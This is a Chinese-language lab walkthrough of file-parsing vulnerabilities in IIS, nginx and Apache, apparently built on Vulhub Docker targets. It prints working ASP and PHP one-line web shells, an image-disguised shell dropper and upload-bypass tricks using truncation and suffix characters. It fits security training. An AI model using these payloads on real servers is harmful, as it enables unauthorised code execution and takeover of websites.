文件解析漏洞
IIS解析漏洞
IIS6.X
#环境
Windows Server 2003
在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行
在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码
<%=now()%>
#asp一句话
<%eval request("h")%>
单独创建一个1.jpg发现并不能解析
在a.asp下被解析
在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是
shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx
IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个文件路径/xx.jpg
后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。
php.ini里的cgi.fix_pathinfo=1 开启
IIS7在Fast-CGI运行模式下
#环境
PHPstudy for IIS
配置 php.ini 文件,将 cgi.fix_pathinfo=1 注释取消掉;并重启
IIS -->配置网站-->处理程序映射-->PHPStudy_FastCGI -->请求限制 -->取消勾
然后在网站下创建我们的shell;并命名为1.jpg
去网站访问他
加上/.php就可以被解析为php文件
蚁剑连接一下
nginx解析漏洞
Vulhub靶场nginx
nginx_parsing
Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞
使用 1.jpg/.php 方式进行绕过
搭建doker容器
#搭建docker容器
yum install docker
yum install docker-compose
#确认是否安装成功
docker -v
#搭建Vulhub靶场
git clone https://github.com/vulhub/vulhub.git
搭好Vulhub靶场后
cd vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d
#查看端口
docker ps
上传我们的图片马
获取路径后
去访问我们的图片马并在后面加上/.php
蚁剑测试连接
Vulhub靶场CVE-2013-4547x
#启动靶场
cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
创建好后打开我们的靶场上传一张图片马
GIF89a
<?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>
上传的时候打开我们的BP进行抓包
在文件名后写上
空格空格.php
并在hex处修改0x20 0x20把最后一个空格换成0x00;然后放行
我们去访问他
发现我们访问不进去这时候就用到我们BP再次抓包进行修改
去Hex把20改回我们的00
就能访问到我们的木马,但是这并不是我们木马的路径,用蚁剑连是连不上的
我们的代码会生成一个一句话我们去连接他就可以了
Apache解析漏洞
Vulhub靶场apache
apache_parsing
Apache HTTPD 支持⼀个文件拥有多个后缀,并为不同后缀执行不同的指令
在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,
就再往左判断。如 1.php.xxxxx
#搭建靶场
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps -a
无论我们的php在哪都会解析我们文件里的php代码
GIF89a
<?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>
访问一下我们上传的文件
去访问一下h.php也是成功了
Vulhub靶场CVE-2017-15715
#搭建靶场
cd /Vulnhub/vulhub-master/httpd/CVE-2017-15715
docker-compose up -d
Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存
在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过⼀些服务器的安全
策略。
来到首页,上传文件会被拦截
BP抓一下包,在文件名后加一个空格;并把0x20改成0x0a
放行就成功上传;去访问一下我们的一句话